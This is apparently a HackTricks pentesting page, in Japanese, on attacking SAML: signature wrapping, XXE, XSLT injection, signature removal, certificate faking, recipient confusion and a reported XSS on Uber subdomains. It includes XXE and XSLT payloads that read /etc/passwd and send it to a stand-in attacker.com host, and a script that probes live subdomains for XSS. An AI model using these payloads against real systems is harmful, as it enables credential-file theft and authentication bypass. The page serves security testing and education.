# SAML Attacks

{{#include ../../banners/hacktricks-training.md}}

## 基本情報

{{#ref}}
saml-basics.md
{{#endref}}

## ツール

[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): URLまたはURLのリストを受け取り、SAML消費URLを出力するツールです。

## XMLラウンドトリップ

XMLでは、XMLの署名された部分がメモリに保存され、その後いくつかのエンコーディング/デコーディングが行われ、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更しないはずですが、そのシナリオに基づくと、**チェックされるデータと元のデータは同じでない可能性があります**。

例えば、次のコードを確認してください:
```ruby
require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
REXML 3.2.4 以前のバージョンでプログラムを実行すると、代わりに次の出力が得られます:
```
First child in original doc: Y
First child after round-trip: Z
```
これはREXMLが上記のプログラムから元のXMLドキュメントをどのように見たかです：

![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)

そして、これは解析とシリアル化の一巡後にどのように見えたかです：

![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)

脆弱性とその悪用方法についての詳細は以下を参照してください：

- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)

## XML署名ラッピング攻撃

**XML署名ラッピング攻撃（XSW）**では、敵対者はXMLドキュメントが2つの異なるフェーズ、すなわち**署名検証**と**関数呼び出し**を通じて処理される際に発生する脆弱性を悪用します。これらの攻撃はXMLドキュメントの構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性を損なわない**偽造要素**を**注入**します。この操作は、**アプリケーションロジック**によって分析される要素と、**署名検証モジュール**によってチェックされる要素との間に不一致を生じさせることを目的としています。その結果、XML署名は技術的には有効であり、検証を通過しますが、アプリケーションロジックは**不正な要素**を処理します。したがって、攻撃者はXML署名の**整合性保護**と**起源認証**を効果的に回避し、検出されることなく**任意のコンテンツを注入**することができます。

以下の攻撃は[**このブログ記事**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **および** [**この論文**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)に基づいています。詳細についてはそれらを確認してください。

### XSW #1

- **戦略**: 署名を含む新しいルート要素が追加されます。
- **影響**: 検証者は正当な「Response -> Assertion -> Subject」と攻撃者の「悪意のある新しいResponse -> Assertion -> Subject」を混同する可能性があり、データ整合性の問題を引き起こします。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)

### XSW #2

- **XSW #1との違い**: 包含署名の代わりに切り離された署名を利用します。
- **影響**: XSW #1と同様の「悪意のある」構造は、整合性チェック後にビジネスロジックを欺くことを目的としています。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)

### XSW #3

- **戦略**: 元のアサーションと同じ階層レベルで悪意のあるアサーションが作成されます。
- **影響**: ビジネスロジックを混乱させて悪意のあるデータを使用させることを意図しています。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>)

### XSW #4

- **XSW #3との違い**: 元のアサーションが複製された（悪意のある）アサーションの子要素になります。
- **影響**: XSW #3と似ていますが、XML構造をより攻撃的に変更します。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../images/image (551).png>)

### XSW #5

- **ユニークな側面**: 署名も元のアサーションも標準的な構成（包含/包含する/切り離された）に従っていません。
- **影響**: コピーされたアサーションが署名を包み込み、期待されるドキュメント構造を変更します。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)

### XSW #6

- **戦略**: XSW #4および#5と同様の位置挿入ですが、ひねりがあります。
- **影響**: コピーされたアサーションが署名を包み込み、その後元のアサーションを包み込むことで、入れ子の欺瞞的な構造を作成します。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>)

### XSW #7

- **戦略**: コピーされたアサーションを子要素として持つExtensions要素が挿入されます。
- **影響**: これはExtensions要素の制約の少ないスキーマを利用して、特にOpenSAMLのようなライブラリでスキーマ検証の対策を回避します。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)

### XSW #8

- **XSW #7との違い**: 攻撃のバリエーションのために別の制約の少ないXML要素を利用します。
- **影響**: 元のアサーションが制約の少ない要素の子要素になり、XSW #7で使用された構造を逆転させます。

![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>)

### ツール

Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、リクエストを解析し、選択したXSW攻撃を適用し、実行できます。

## XXE

XXE攻撃がどのようなものか知らない場合は、以下のページをお読みください：

{{#ref}}
../xxe-xee-xml-external-entity.md
{{#endref}}

SAMLレスポンスは**デフレートされ、base64エンコードされたXMLドキュメント**であり、XML外部エンティティ（XXE）攻撃に対して脆弱である可能性があります。SAMLレスポンスのXML構造を操作することで、攻撃者はXXEの脆弱性を悪用しようとすることができます。このような攻撃がどのように視覚化されるかは次のとおりです：
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## ツール

Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、SAMLリクエストからPOCを生成し、XXE脆弱性やSAML脆弱性の可能性をテストできます。

また、このトークもチェックしてください: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)

## SAML経由のXSLT

XSLTに関する詳細情報は、以下にアクセスしてください:

{{#ref}}
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}

拡張スタイルシート言語変換（XSLT）は、XMLドキュメントをHTML、JSON、PDFなどのさまざまな形式に変換するために使用できます。**XSLT変換はデジタル署名の検証前に行われる**ことに注意することが重要です。これは、攻撃が有効な署名なしでも成功する可能性があることを意味します。自己署名または無効な署名で進むことができます。

ここでは、この種の脆弱性をチェックするための**POC**を見つけることができ、セクションの最初に言及されたhacktricksページでペイロードを見つけることができます。
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
### ツール

Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用して、SAMLリクエストからPOCを生成し、XSLTの脆弱性をテストできます。

このトークもチェックしてください: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)

## XML署名除外 <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>

**XML署名除外**は、署名要素が存在しない場合のSAML実装の動作を観察します。この要素が欠けている場合、**署名の検証が行われない可能性があり**、脆弱性を持つことになります。署名によって通常検証される内容を変更することで、これをテストすることが可能です。

![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)

### ツール <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>

Burp拡張機能[**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)を使用できます。SAMLレスポンスをインターセプトし、`Remove Signatures`をクリックします。これにより、**すべての**署名要素が削除されます。

署名が削除された状態で、リクエストをターゲットに進めます。サービスによって署名が必要ない場合

## 証明書の偽造 <a href="#certificate-faking" id="certificate-faking"></a>

## 証明書の偽造

証明書の偽造は、**サービスプロバイダー（SP）がSAMLメッセージが信頼できるアイデンティティプロバイダー（IdP）によって署名されていることを適切に検証しているかどうかをテストする技術**です。これは、SAMLレスポンスまたはアサーションに署名するために\***自己署名証明書**を使用することを含み、SPとIdP間の信頼検証プロセスを評価するのに役立ちます。

### 証明書の偽造を実施する方法

以下の手順は、[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp拡張機能を使用したプロセスを概説しています：

1. SAMLレスポンスをインターセプトします。
2. レスポンスに署名が含まれている場合、`Send Certificate to SAML Raider Certs`ボタンを使用して証明書をSAML Raider Certsに送信します。
3. SAML Raiderの証明書タブで、インポートした証明書を選択し、`Save and Self-Sign`をクリックして元の証明書の自己署名クローンを作成します。
4. Burpのプロキシでインターセプトしたリクエストに戻ります。XML署名のドロップダウンから新しい自己署名証明書を選択します。
5. `Remove Signatures`ボタンを使用して既存の署名を削除します。
6. 適切に**`(Re-)Sign Message`**または**`(Re-)Sign Assertion`**ボタンを使用して、新しい証明書でメッセージまたはアサーションに署名します。
7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書で署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスに潜在的な脆弱性があることを明らかにします。

## トークン受信者の混乱 / サービスプロバイダーターゲットの混乱 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>

トークン受信者の混乱とサービスプロバイダーターゲットの混乱は、**サービスプロバイダーがレスポンスの意図された受信者を正しく検証しているかどうかを確認すること**を含みます。基本的に、サービスプロバイダーは、異なるプロバイダー向けに意図された認証レスポンスを拒否する必要があります。ここでの重要な要素は、SAMLレスポンスの**SubjectConfirmationData**要素内にある**Recipient**フィールドです。このフィールドは、アサーションが送信されるべきURLを指定します。実際の受信者が意図されたサービスプロバイダーと一致しない場合、アサーションは無効と見なされるべきです。

#### **動作の仕組み**

SAMLトークン受信者の混乱（SAML-TRC）攻撃が実行可能であるためには、特定の条件が満たされる必要があります。まず、サービスプロバイダー（SP-Legit）に有効なアカウントが存在する必要があります。次に、ターゲットとするサービスプロバイダー（SP-Target）は、SP-Legitにサービスを提供するのと同じアイデンティティプロバイダーからのトークンを受け入れる必要があります。

これらの条件下で攻撃プロセスは簡単です。共有アイデンティティプロバイダーを介してSP-Legitとの間で認証セッションが開始されます。アイデンティティプロバイダーからSP-LegitへのSAMLレスポンスがインターセプトされます。このインターセプトされたSAMLレスポンスは、元々SP-Legit向けであったものがSP-Targetにリダイレクトされます。この攻撃の成功は、SP-Targetがアサーションを受け入れ、SP-Legitで使用されたのと同じアカウント名のリソースへのアクセスを許可することによって測定されます。
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## ログアウト機能におけるXSS

元の研究は[このリンク](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)からアクセスできます。

ディレクトリブルートフォースの過程で、次の場所にログアウトページが発見されました:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
このリンクにアクセスすると、次のようにリダイレクトされました:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
これにより、`base`パラメータがURLを受け入れることが明らかになりました。これを考慮して、XSS（クロスサイトスクリプティング）攻撃を開始する試みとして、URLを`javascript:alert(123);`に置き換えるアイデアが浮かびました。

### 大規模な悪用

[この研究から](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)：

[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor)ツールを使用して、同じライブラリを利用している`uberinternal.com`のサブドメインを分析しました。その後、`oidauth/prompt`ページをターゲットにしたスクリプトが開発されました。このスクリプトは、データを入力して出力に反映されるかどうかを確認することでXSS（クロスサイトスクリプティング）をテストします。入力が実際に反映される場合、スクリプトはそのページを脆弱であるとフラグ付けします。
```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)
```
## 参考文献

- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)

{{#include ../../banners/hacktricks-training.md}}